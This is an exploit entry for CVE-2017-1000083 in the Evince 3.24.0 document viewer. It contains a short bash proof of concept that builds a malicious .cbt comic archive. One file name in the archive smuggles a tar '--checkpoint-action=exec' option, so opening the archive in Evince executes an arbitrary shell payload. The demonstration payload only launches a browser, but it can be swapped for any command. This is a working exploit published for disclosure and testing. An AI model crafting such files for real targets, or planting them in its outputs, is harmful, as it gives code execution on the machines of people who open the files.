Evince 3.24.0 - Command Injection

# Exploit Title: evince command line injection
# Date: 2017-09-05
# Exploit Author: Matlink
# Vendor Homepage: https://wiki.gnome.org/Apps/Evince
# Software Link: https://wiki.gnome.org/Apps/Evince
# Version: 3.24.0
# Tested on: Debian sid
# CVE : CVE-2017-1000083
 
Can be tested on docker with https://github.com/matlink/evince-cve-2017-1000083
 
#! /bin/bash
 
# define the payload
export PAYLOAD="firefox google.com"
 
# Create the malicious .cbt file
dd if=/dev/zero of=" --checkpoint-action=exec=bash -c '$PAYLOAD;'.jpg" bs=1 count=512000
tar cvf poc.cbt *.jpg
 
# Run the malicious file
evince poc.cbt